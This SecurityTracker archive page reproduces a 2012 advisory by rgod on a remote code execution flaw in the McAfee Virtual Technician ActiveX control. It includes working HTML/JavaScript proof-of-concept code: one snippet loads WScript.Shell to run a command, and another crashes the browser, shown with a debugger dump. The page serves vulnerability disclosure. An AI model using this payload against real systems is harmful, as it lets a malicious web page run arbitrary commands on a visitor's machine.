SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   McAfee Virtual Technician Vendors:   McAfee
McAfee Virtual Technician ActiveX Control GetObject() Function Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1026996
SecurityTracker URL:  http://securitytracker.com/id/1026996
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  May 1 2012
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 6.3.0.1911
Description:   A vulnerability was reported in McAfee Virtual Technician. A remote user can cause arbitrary code to be executed on the target user's system.

A remote user can create specially crafted HTML that, when loaded by the target user, will invoke an ActvieX control and execute arbitrary commands on the target system. The commands will run with the privileges of the target user.

The GetObject() function can be used to load functions such as Exec().

The CLSID of the vulnerable control is:

2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF

The original advisory is available at:

http://retrogod.altervista.org/9sg_mcafee_vt_adv.htm

rgod reported this vulnerability.

Impact:   A remote user can create HTML that, when loaded by the target user, will execute arbitrary commands on the target user's system.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.mcafee.com/ (Links to External Site)
Cause:   Access control error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  McAfee Virtual Technician 6.3.0.1911 MVT.MVTControl.6300 ActiveX Control GetObject() Security Bypass Remote Code Execution Vulnerability

McAfee Virtual Technician 6.3.0.1911 MVT.MVTControl.6300 ActiveX Control
GetObject() Security Bypass Remote Code Execution Vulnerability

tested against: Microsoft Windows Vista sp2
                Microsoft Windows 2003 r2 sp2
                Internet Explorer 7/8/9

              

product homepage: http://www.mcafee.com/it/downloads/free-tools/virtual-technician.aspx

file tested: MVTInstaller.exe

background:

the mentioned product installs an ActiveX control with
the following settings:

Binary path: C:\Program Files\McAfee\Supportability\MVT\MVT.dll
ProgID: MVT.MVTControl.6300
CLSID: {2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF}
Implements IObjectSafety: Yes
Safe for Scripting (IObjectSafety): true
Safe for Initialization (IObjectSafety: false

According to IObjectSafety interface, this control is
safe for scripting, then Internet Explorer will allow
scripting from remote.

Vulnerability:

this control offers the vulnerable GetObject() function,
see typelib:

..
/* DISPID=3 */
/* VT_VARIANT [12] */
function GetObject(
        /* VT_VARIANT [12] [in] */ $in_dwObjectID
        )
{
        /* method GetObject */
}
..

by specifing the ProgID of an arbitrary class from 
the underlying operating system, with no regards for browser security,
is possible to load ex. the WScript.Shell class.
The returned object now offers the Exec() method
which can be used to launch operating system commands.

Example of attack:

<object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj' />
</object>
<script defer=defer>
var x = obj.GetObject("WScript.Shell");
x.Exec("cmd /c start calc");
</script> 


it is also possible to crash the browser 
by specifying an arbitrary memory address


<object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj' />
</object>
<script defer=defer>
var x = obj.GetObject(0x0c0c0c0c);
</script>


example crash:
eax=0c0c0c0c ebx=0197085c ecx=01b5efec edx=0000008e esi=01b5efec edi=01b5f344
eip=77bd8efa esp=01b5ef80 ebp=01b5ef80 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
msvcrt!wcslen+0x8:
77bd8efa 668b08          mov     cx,word ptr [eax]        ds:0023:0c0c0c0c=????

debugger shows an access violation while reading 0x0c0c0c0c,
this could be also exploitable but not demonstrated at the time of this report

As attachment, proof of concept code which executes calc.exe, then crash IE.



additional note:
0:010> lm -vm mvt
start    end        module name
03450000 034b8000   MVT        (deferred)             
    Image path: D:\Program Files\McAfee\Supportability\MVT\MVT.dll
    Image name: MVT.dll
    Timestamp:        Thu Jan 12 07:37:26 2012 (4F0E7FA6)
    CheckSum:         0006C308
    ImageSize:        00068000
    File version:     6.3.0.1911
    Product version:  6.3.0.1911
    File flags:       0 (Mask 3F)
    File OS:          4 Unknown Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04e4
    CompanyName:      McAfee, Inc.
    ProductName:      McAfee Virtual Technician
    InternalName:     MVT.dll
    OriginalFilename: MVT.dll
    ProductVersion:   6.3.0.1911
    FileVersion:      6.3.0.1911
    FileDescription:  McAfee, Inc.


//rgod

original url: http://retrogod.altervista.org/9sg_mcafee_vt_adv.htm
poc: http://retrogod.altervista.org/9sg_mcafee_vt_ax.htm
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC